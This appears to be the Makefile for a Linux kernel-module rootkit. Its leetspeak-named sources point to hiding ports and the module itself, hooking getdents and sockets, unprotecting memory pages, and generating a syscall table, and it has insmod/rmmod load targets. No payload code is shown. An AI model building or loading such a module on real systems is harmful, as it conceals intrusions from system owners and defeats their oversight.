# Module name MNAME := 8008135 # Build MODULEDIR := /lib/modules/$(shell uname -r) BUILDDIR := $(MODULEDIR)/build KERNELDIR := $(MODULEDIR)/kernel # Source files SRCS_S := src LIBS_S := src/libs INCL_S := src/include # Header files SRCS_H := $(PWD)/$(SRCS_S)/headers LIBS_H := $(PWD)/$(LIBS_S)/headers INCL_H := $(PWD)/$(INCL_S)/headers obj-m += $(MNAME).o # Core $(MNAME)-y += src/$(MNAME).o $(MNAME)-y += src/637d3n75.o $(MNAME)-y += src/50ck3t.o $(MNAME)-y += src/h1d3p0r7.o $(MNAME)-y += src/h1d3m0dul3.o $(MNAME)-y += src/p463unpr073c7.o $(MNAME)-y += src/5y563n.o # Includes for header files etc ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) -Wall all: $(shell $(SRCS_S)/cr3473_5y563n.sh) $(MAKE) -C $(BUILDDIR) M=$(PWD) modules load: insmod $(MNAME).ko unload: rmmod $(MNAME) clean: -rm $(SRCS_H)/5y563n.h $(MAKE) -C $(BUILDDIR) M=$(PWD) clean